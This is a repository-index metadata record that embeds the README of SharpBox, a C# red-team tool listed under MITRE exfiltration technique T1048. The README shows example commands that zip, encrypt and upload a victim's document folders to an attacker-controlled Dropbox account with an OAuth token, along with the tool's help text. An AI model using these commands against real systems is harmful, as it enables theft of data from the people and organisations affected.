{"id":13799469,"url":"https://github.com/P1CKLES/SharpBox","last_synced_at":"2025-05-13T08:31:15.044Z","repository":{"id":215896084,"uuid":"148920879","full_name":"P1CKLES/SharpBox","owner":"P1CKLES","description":"SharpBox is a C# tool for compressing, encrypting, and exfiltrating data to DropBox using the DropBox API. ","archived":false,"fork":false,"pushed_at":"2021-01-20T01:07:43.000Z","size":1703,"stargazers_count":108,"open_issues_count":0,"forks_count":27,"subscribers_count":3,"default_branch":"master","last_synced_at":"2024-11-18T14:58:45.717Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"","language":"C#","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"bsd-3-clause","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/P1CKLES.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2018-09-15T16:47:43.000Z","updated_at":"2024-08-12T19:41:41.000Z","dependencies_parsed_at":null,"dependency_job_id":"9636e29d-8b8d-434e-a7a4-50c7ba13c58c","html_url":"https://github.com/P1CKLES/SharpBox","commit_stats":null,"previous_names":["p1ckles/sharpbox"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/P1CKLES%2FSharpBox","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/P1CKLES%2FSharpBox/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/P1CKLES%2FSharpBox/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/P1CKLES%2FSharpBox/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/P1CKLES","download_url":"https://codeload.github.com/P1CKLES/SharpBox/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":253903715,"owners_count":21981737,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-08-04T00:01:03.099Z","updated_at":"2025-05-13T08:31:14.589Z","avatar_url":"https://github.com/P1CKLES.png","language":"C#","funding_links":[],"categories":["[↑](#table-of-contents) [Exfiltration](https://attack.mitre.org/tactics/TA0010/)","C# #","C# (212)"],"sub_categories":["[T1048 - Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048)"],"readme":"# SharpBox\nSharpBox is a C# tool for compressing, encrypting, and exfiltrating data to Dropbox using the Dropbox API. \n\n## Compiling\nTarget Framework: NET3.5\n\nThe libraries added via NuGet for this project were:\n\n- CommandLineParser.1.9.71\n\n- Costura.Fody.1.6.2\n\n- DotNetZip.1.11.0\n\n- Fody.2.1.2\n\n\n## Usage\nLog into your Dropbox account and head over to the [Dropbox developer API explorer](https://dropbox.github.io/dropbox-api-v2-explorer/#auth_token/from_oauth1) page and get an oauth access token by clicking \"Get Token\".\nThese access tokens do not expire, but you can revoke them.  So I would recommend revoking tokens after being used on engagments.\n\nExample:\n\n```\nSharpBox.exe -f \"C:\\Users\\LegendaryJasonJF\\Documents\\management-docs\" -t \"DROPBOX-OATH-ACCESS-TOKEN-HERE\" -o \"C:\\Users\\Public\\Archive.zip\"\n\nSharpBox.exe -f \"C:\\Users\\Meatball\\Documents\\rip-doc.txt\" -t \"DROPBOX-OATH-ACCESS-TOKEN-HERE\" -o \"C:Users\\Meatball\\Desktop\\rip.zip\"\n```\n\nSharpBox can Zip a single file or folder of items. The compressed file is then encrypted with a randomly generated password and uploaded to Dropbox.  The password is output to the console.  Copy the password and use with the \"password\" argument when decrypting. \n\n```\nSharpBox 1.1.0\nCopyright c  2021 Pickles\nUsage: SharpBox \u003coptions\u003e\n\n      -f, --path                   Required. path to the file or folder you wish to\n                                   compress the contents of\n\n      -o, --OutFile                Name of the compressed file\n\n      -t, --dbxToken               Dropbox Access Token\n\n      -h, --dbxPath                (Default: /test/data) path to dbx folder\n\n      -d, --decrypt                (Default: False) Choose this to decrypt a zip or\n                                   cabbed file previously encrypted by this tool.\n                                   Requires original password argument.\n\n      -p, --decryption-password    Password to decrypt a zipped or cabbed file.\n\n      --help                       Display this help screen.\n  ```\n  \n  \n  Once the compressed/encrypted file is downloaded from Dropbox, you can use this tool to decrypt it as well. \n  \n  Example: \n  \n  ```\n  SharpBox.exe -f \"C:\\Users\\evilDude\\Desktop\\data\" -o \"C:\\Users\\evilDude\\Desktop\\decrypted-data.zip\" -p \"RandomlyGeneratedPassword\" -d\n  ```\n  \n ## Acknowledgements\n  \n - [@CptJesus](https://twitter.com/CptJesus) for letting me borrow the password gen snippet from [SharpHound](https://github.com/BloodHoundAD/SharpHound).\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FP1CKLES%2FSharpBox","html_url":"https://awesome.ecosyste.ms/projects/github.com%2FP1CKLES%2FSharpBox","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FP1CKLES%2FSharpBox/lists"}